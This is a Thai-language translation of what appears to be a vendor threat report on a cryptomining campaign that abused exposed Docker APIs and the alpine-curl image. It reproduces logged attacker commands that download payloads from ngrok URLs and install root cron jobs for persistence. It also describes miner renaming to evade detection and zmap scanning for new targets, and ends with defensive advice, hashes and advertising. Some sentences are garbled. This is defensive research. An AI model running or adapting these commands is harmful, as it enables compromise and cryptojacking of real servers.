
เราได้วิเคราะห์ข้อมูลที่รวบรวมโดยคอนเทนเนอร์ฮันนี่พ็อต ซึ่งสร้างขึ้นเพื่อติดตามภัยคุกคาม และค้นพบกิจกรรมสำคัญจากนักขุดคริปโทเคอร์เรนซีที่ไม่พึงประสงค์หรือไม่ได้รับอนุญาต ซึ่งถูกนำไปใช้เป็นคอนเทนเนอร์ปลอม โดยใช้อิมเมจ Docker Hub ที่เผยแพร่โดยชุมชน อิมเมจนี้ถูกใช้เป็นส่วนหนึ่งของบริการที่ส่งมัลแวร์ขุดคริปโทเคอร์เรนซี
นอกจากนี้ ยังมีการติดตั้งโปรแกรมสำหรับทำงานกับเครือข่ายเพื่อเจาะเข้าไปในคอนเทนเนอร์และแอปพลิเคชันเปิดข้างเคียง
เราปล่อยให้ฮันนี่พ็อตของเราเป็นไปตามเดิม โดยใช้การตั้งค่าเริ่มต้น โดยไม่มีมาตรการรักษาความปลอดภัยหรือการติดตั้งซอฟต์แวร์เพิ่มเติมใดๆ ในภายหลัง โปรดทราบว่า Docker มีคำแนะนำในการตั้งค่าเริ่มต้นเพื่อหลีกเลี่ยงข้อผิดพลาดและช่องโหว่เล็กๆ น้อยๆ อย่างไรก็ตาม ฮันนี่พ็อตที่เราใช้คือคอนเทนเนอร์ที่ออกแบบมาเพื่อตรวจจับการโจมตีที่มุ่งเป้าไปที่แพลตฟอร์มคอนเทนเนอร์ ไม่ใช่แอปพลิเคชันภายในคอนเทนเนอร์
กิจกรรมอันตรายที่ตรวจพบนั้นโดดเด่นมาก เพราะไม่จำเป็นต้องมีช่องโหว่ใดๆ และเป็นอิสระจากเวอร์ชันของ Docker การค้นหาอิมเมจคอนเทนเนอร์ที่กำหนดค่าไม่ถูกต้องและเปิดเผยข้อมูล ก็เป็นสิ่งเดียวที่ผู้โจมตีจำเป็นต้องทำเพื่อแพร่เชื้อไปยังเซิร์ฟเวอร์ที่เปิดเผยข้อมูลหลายเครื่อง
Docker API ที่ไม่มีสิทธิพิเศษช่วยให้ผู้ใช้สามารถดำเนินการต่างๆ ได้มากมาย รวมถึงการรับรายการคอนเทนเนอร์ที่กำลังทำงาน การรับบันทึกจากคอนเทนเนอร์ที่ระบุ การเริ่มต้น การหยุด (รวมถึงการบังคับ) และแม้กระทั่งการสร้างคอนเทนเนอร์ใหม่จากอิมเมจที่ระบุด้วยการตั้งค่าที่ระบุ

ด้านซ้ายคือวิธีการนำส่งมัลแวร์ ด้านขวาคือสภาพแวดล้อมของผู้โจมตี ซึ่งช่วยให้สามารถใช้งานอิมเมจจากระยะไกลได้

การกระจายตัวของ Docker API สาธารณะ 3762 รายการในแต่ละประเทศ อ้างอิงจากการค้นหา Shodan ณ วันที่ 12 กุมภาพันธ์ 2019
โซ่โจมตีและตัวแปรโหลด
ฮันนี่พ็อตไม่ใช่วิธีเดียวที่จะตรวจจับกิจกรรมที่เป็นอันตรายได้ ข้อมูลของ Shodan แสดงให้เห็นว่าจำนวน Docker API ที่เปิดเผย (ดูแผนภูมิที่สอง) เพิ่มขึ้นนับตั้งแต่ที่เราตรวจสอบคอนเทนเนอร์ที่กำหนดค่าไม่ถูกต้องซึ่งใช้เป็นสะพานสำหรับการติดตั้งซอฟต์แวร์ขุด Monero เมื่อเดือนตุลาคมที่ผ่านมา (2018 ข้อมูลล่าสุดที่มี) ประมาณ นักแปล) มี API เปิดอยู่เพียง 856 รายการเท่านั้น
การตรวจสอบบันทึกของฮันนี่พ็อตเผยให้เห็นว่าการใช้งานภาพคอนเทนเนอร์ยังเกี่ยวข้องกับการใช้ เครื่องมือสำหรับสร้างการเชื่อมต่อที่ปลอดภัยหรือส่งต่อการรับส่งข้อมูลจากจุดที่เข้าถึงได้สาธารณะไปยังที่อยู่หรือทรัพยากรที่ระบุ (เช่น localhost) ซึ่งช่วยให้ผู้โจมตีสามารถสร้าง URL แบบไดนามิกเมื่อส่งข้อมูลไปยังเซิร์ฟเวอร์แบบเปิด ด้านล่างนี้คือตัวอย่างโค้ดจากบันทึกที่แสดงให้เห็นถึงการละเมิดบริการ ngrok:
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”อย่างที่คุณเห็น ไฟล์ที่อัปโหลดจะถูกดาวน์โหลดจาก URL ที่เปลี่ยนแปลงอยู่ตลอดเวลา URL เหล่านี้มีวันหมดอายุสั้น ดังนั้นจึงไม่สามารถดาวน์โหลดเพย์โหลดได้หลังจากหมดอายุแล้ว
มีตัวเลือกเพย์โหลดสองแบบ แบบแรกคือโปรแกรมขุดที่คอมไพล์แล้วในรูปแบบ ELF สำหรับ Linux (ระบุว่าเป็น Coinminer.SH.MALXMR.ATNO) ซึ่งเชื่อมต่อกับพูลการขุด ส่วนที่สองคือสคริปต์ (TrojanSpy.SH.ZNETMAP.A) ที่ออกแบบมาเพื่อดาวน์โหลดเครื่องมือเครือข่ายบางอย่างที่ใช้ในการสแกนช่วงเครือข่ายและค้นหาเป้าหมายใหม่
สคริปต์ดรอปเปอร์จะตั้งค่าตัวแปรสองตัวที่จะนำมาใช้ในภายหลังเพื่อติดตั้งโปรแกรมขุดคริปโทเคอร์เรนซี ตัวแปร HOST ประกอบด้วย URL ของไฟล์อันตราย และตัวแปร RIP คือชื่อไฟล์ (จริงๆ แล้วคือแฮช) ของโปรแกรมขุดที่จะติดตั้ง ตัวแปร HOST จะเปลี่ยนแปลงทุกครั้งที่มีการเปลี่ยนแปลงตัวแปรแฮช สคริปต์ยังพยายามตรวจสอบว่าไม่มีโปรแกรมขุดคริปโทเคอร์เรนซีอื่นใดที่กำลังรันอยู่บนเซิร์ฟเวอร์ที่ถูกโจมตีอยู่

ตัวอย่างของตัวแปร HOST และ RIP รวมถึงโค้ดสั้นๆ ที่ใช้ในการตรวจสอบว่าไม่มีนักขุดคนอื่นกำลังทำงานอยู่
ก่อนที่จะเริ่มใช้งานโปรแกรมขุดเหรียญดิจิทัล ระบบจะเปลี่ยนชื่อโปรแกรมเป็น nginx สคริปต์เวอร์ชันอื่นๆ อาจเปลี่ยนชื่อโปรแกรมขุดเหรียญเป็นบริการอื่นๆ ที่ถูกต้องตามกฎหมายซึ่งอาจมีอยู่ในสภาพแวดล้อมนั้นๆ Linuxโดยปกติแล้ว วิธีนี้ก็เพียงพอที่จะข้ามการตรวจสอบรายการกระบวนการที่กำลังทำงานอยู่ได้
สคริปต์ค้นหายังมีคุณสมบัติเฉพาะของตัวเอง โดยใช้บริการ URL เดียวกันเพื่อปรับใช้เครื่องมือที่จำเป็น ซึ่งรวมถึงไบนารี zmap ซึ่งใช้ในการสแกนเครือข่ายและเรียกดูรายการพอร์ตที่เปิดอยู่ สคริปต์ยังดาวน์โหลดไบนารีอื่นที่ใช้เพื่อโต้ตอบกับบริการที่ค้นพบและดึงแบนเนอร์จากบริการเหล่านั้น เพื่อหาข้อมูลเพิ่มเติมเกี่ยวกับบริการที่ค้นพบ (เช่น เวอร์ชัน)
สคริปต์ยังกำหนดช่วงเครือข่ายบางส่วนไว้ล่วงหน้าสำหรับการสแกน แต่ขึ้นอยู่กับเวอร์ชันของสคริปต์ นอกจากนี้ยังระบุพอร์ตเป้าหมายจากบริการต่างๆ (ในกรณีนี้คือ Docker) ก่อนที่จะทำการสแกนอีกด้วย
เมื่อพบเป้าหมายที่เป็นไปได้แล้ว แบนเนอร์จะถูกลบออกจากเป้าหมายเหล่านั้นโดยอัตโนมัติ สคริปต์ยังกรองเป้าหมายตามบริการ แอปพลิเคชัน ส่วนประกอบ หรือแพลตฟอร์มที่สนใจ เช่น Redis, Jenkins เป็นต้น DrupalMODX , ไคลเอ็นต์ Docker 1.16 และ Apache CouchDB หากเซิร์ฟเวอร์ที่สแกนตรงกับข้อใดข้อหนึ่งเหล่านี้ จะถูกบันทึกไว้ในไฟล์ข้อความ ซึ่งผู้โจมตีสามารถนำไปใช้วิเคราะห์และแฮ็กในภายหลังได้ ไฟล์ข้อความเหล่านี้จะถูกอัปโหลดไปยังเซิร์ฟเวอร์ของผู้โจมตีผ่านลิงก์แบบไดนามิก ซึ่งหมายความว่าแต่ละไฟล์จะมี URL แยกต่างหาก ทำให้การเข้าถึงในภายหลังทำได้ยาก
เวกเตอร์โจมตีที่ใช้คือภาพ Docker ดังที่เห็นได้จากโค้ดสองส่วนต่อไปนี้

ข้างบนเป็นการเปลี่ยนชื่อเป็นบริการที่ถูกต้อง และข้างล่างคือวิธีใช้ zmap เพื่อสแกนเครือข่าย

ที่ด้านบนเป็นช่วงเครือข่ายที่กำหนดไว้ล่วงหน้า ที่ด้านล่างเป็นพอร์ตเฉพาะสำหรับการค้นหาบริการ รวมถึง Docker

ภาพหน้าจอแสดงให้เห็นว่าภาพ Alpine-Curly ถูกดาวน์โหลดไปแล้วกว่า 10 ล้านครั้ง
อ้างอิงจากเทือกเขาแอลป์ Linux และ curl ซึ่งเป็นเครื่องมือ CLI ที่ประหยัดทรัพยากรสำหรับการถ่ายโอนไฟล์ผ่านโปรโตคอลต่างๆ สามารถคอมไพล์ได้ ดังที่เห็นได้จากภาพก่อนหน้า รูปภาพนี้มียอดดาวน์โหลดแล้วกว่า 10 ล้านครั้ง จำนวนการดาวน์โหลดที่สูงนี้อาจบ่งชี้ว่ารูปภาพนี้กำลังถูกใช้เป็นจุดเริ่มต้น รูปภาพนี้ได้รับการอัปเดตเมื่อหกเดือนที่แล้ว และรูปภาพอื่นๆ ในคลังข้อมูลนี้ผู้ใช้ไม่ได้ดาวน์โหลดบ่อยนัก ใน Docker — ชุดคำสั่งที่ใช้ในการกำหนดค่าคอนเทนเนอร์สำหรับการเปิดใช้งาน หากจุดเข้าใช้งานถูกกำหนดค่าไม่ถูกต้อง (เช่น คอนเทนเนอร์ถูกปล่อยให้เปิดเผยต่ออินเทอร์เน็ต) อิมเมจดังกล่าวสามารถใช้เป็นเวกเตอร์การโจมตีได้ ผู้โจมตีสามารถใช้อิมเมจนี้เพื่อส่งเพย์โหลดหากพบว่าคอนเทนเนอร์ไม่ได้รับการสนับสนุน กำหนดค่าไม่ถูกต้อง หรือถูกเปิดเผย
สิ่งสำคัญที่ต้องทราบคืออิมเมจนี้ (alpine-curl) ไม่ได้เป็นอันตราย แต่ดังที่เห็นข้างต้น อิมเมจนี้สามารถนำไปใช้เพื่อดำเนินการที่เป็นอันตรายได้ อิมเมจ Docker ที่คล้ายกันนี้ยังสามารถนำไปใช้เพื่อวัตถุประสงค์ที่เป็นอันตรายได้เช่นกัน เราได้ติดต่อ Docker แล้วและกำลังดำเนินการร่วมกับพวกเขาเกี่ยวกับปัญหานี้
แนะนำ
ซากศพ สำหรับบริษัทหลายแห่ง โดยเฉพาะบริษัทที่ดำเนินการ มุ่งเน้นการพัฒนาและส่งมอบอย่างรวดเร็ว ปัญหานี้ยิ่งทวีความรุนแรงขึ้นจากความจำเป็นในการปฏิบัติตามกฎระเบียบการตรวจสอบและติดตาม ความจำเป็นในการตรวจสอบความเป็นส่วนตัวของข้อมูล และต้นทุนมหาศาลจากการไม่ปฏิบัติตามกฎระเบียบ การนำระบบอัตโนมัติด้านความปลอดภัยมาใช้ในวงจรชีวิตการพัฒนาไม่เพียงแต่ช่วยระบุช่องโหว่ด้านความปลอดภัยที่อาจมองข้ามไป แต่ยังช่วยลดภาระงานที่ไม่จำเป็น เช่น การรันซอฟต์แวร์เพิ่มเติมสำหรับแต่ละช่องโหว่ที่ตรวจพบ หรือการกำหนดค่าที่ไม่ถูกต้องหลังจากการติดตั้งแอปพลิเคชัน
เหตุการณ์ที่กล่าวถึงในบทความนี้เน้นย้ำถึงความจำเป็นในการจัดการเรื่องความปลอดภัยตั้งแต่เริ่มต้น รวมถึงคำแนะนำต่อไปนี้:
- สำหรับผู้ดูแลระบบและนักพัฒนา: ตรวจสอบการตั้งค่า API ของคุณเสมอเพื่อให้แน่ใจว่าได้รับการกำหนดค่าให้ยอมรับคำขอจากเซิร์ฟเวอร์หรือเครือข่ายภายในที่ระบุเท่านั้น
- ปฏิบัติตามหลักการของสิทธิ์ขั้นต่ำที่สุด: ตรวจสอบให้แน่ใจว่ารูปภาพคอนเทนเนอร์ได้รับการลงนามและตรวจสอบแล้ว จำกัดการเข้าถึงส่วนประกอบที่สำคัญ (บริการเปิดตัวคอนเทนเนอร์) และเข้ารหัสการเชื่อมต่อเครือข่าย
- ติดตาม และเปิดใช้งานกลไกการรักษาความปลอดภัย เช่น และในตัว .
- ใช้การสแกนรันไทม์และอิมเมจอัตโนมัติเพื่อรับข้อมูลเพิ่มเติมเกี่ยวกับกระบวนการที่ทำงานภายในคอนเทนเนอร์ (เช่น เพื่อตรวจจับการปลอมแปลงหรือค้นหาช่องโหว่) การควบคุมแอปพลิเคชันและการตรวจสอบความสมบูรณ์ช่วยตรวจจับการเปลี่ยนแปลงที่ผิดปกติบนเซิร์ฟเวอร์ ไฟล์ และพื้นที่ของระบบ
Trendmicro ช่วยให้ทีม DevOps สร้างอย่างปลอดภัย ปรับใช้ได้อย่างรวดเร็ว และทำงานได้ทุกที่ Trend Micro มอบความปลอดภัยที่ทรงพลัง ได้รับการปรับให้เหมาะสม และอัตโนมัติภายในกระบวนการ DevOps ขององค์กร และมีวิธีต่างๆ มากมายในการป้องกันภัยคุกคาม เพื่อปกป้องเวิร์กโหลดทางกายภาพ เสมือน และคลาวด์ในขณะรันไทม์ นอกจากนี้ยังเพิ่มการป้องกันคอนเทนเนอร์ด้วย и ซึ่งจะสแกนภาพคอนเทนเนอร์ Docker เพื่อหามัลแวร์และช่องโหว่ในทุกจุดในกระบวนการพัฒนาเพื่อป้องกันภัยคุกคามก่อนที่จะถูกนำไปใช้งาน
สัญญาณแห่งการประนีประนอม
แฮชที่เกี่ยวข้อง:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
На วิทยากรภาคปฏิบัติจะสาธิตให้เห็นถึงการปรับเปลี่ยนที่ควรดำเนินการก่อนเพื่อลดโอกาสหรือหลีกเลี่ยงสถานการณ์ที่อธิบายไว้ข้างต้นโดยสิ้นเชิง และในวันที่ 19-21 สิงหาคม ณ การประชุมออนไลน์แบบเข้มข้น คุณสามารถหารือเรื่องเหล่านี้และปัญหาความปลอดภัยที่คล้ายคลึงกันกับเพื่อนร่วมงานและครูฝึกสอนได้ในการอภิปรายแบบโต๊ะกลม ซึ่งทุกคนสามารถแสดงความคิดเห็นและรับฟังความเจ็บปวดและความสำเร็จของเพื่อนร่วมงานที่มีประสบการณ์
ที่มา: will.com
